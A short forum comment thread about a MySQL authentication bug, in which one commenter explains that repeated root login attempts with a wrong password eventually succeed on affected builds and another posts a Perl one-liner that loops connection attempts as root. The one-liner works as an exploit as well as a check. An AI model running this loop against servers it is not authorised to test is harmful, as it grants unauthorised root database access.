Comment on Security vulnerability in MySQL ubuntuparentComments−dangrossman14yTry to connect to MySQL as root with a made-up password several hundred times. If you successfully connect, the bug is present and you know how it was compiled.−ushi14yHehe, ok ok.−gringomorcego14ywhere is the perl one-liner :P?−mcpherrinm14yperl -e 'use DBI; for($i=0;$i<4096;$i++){DBI->connect("dbi:mysql:", "root", "nope", {PrintError=>0}) and die "Vulnerable!";}'
Comments
Try to connect to MySQL as root with a made-up password several hundred times. If you successfully connect, the bug is present and you know how it was compiled.
Hehe, ok ok.
where is the perl one-liner :P?
perl -e 'use DBI; for($i=0;$i<4096;$i++){DBI->connect("dbi:mysql:", "root", "nope", {PrintError=>0}) and die "Vulnerable!";}'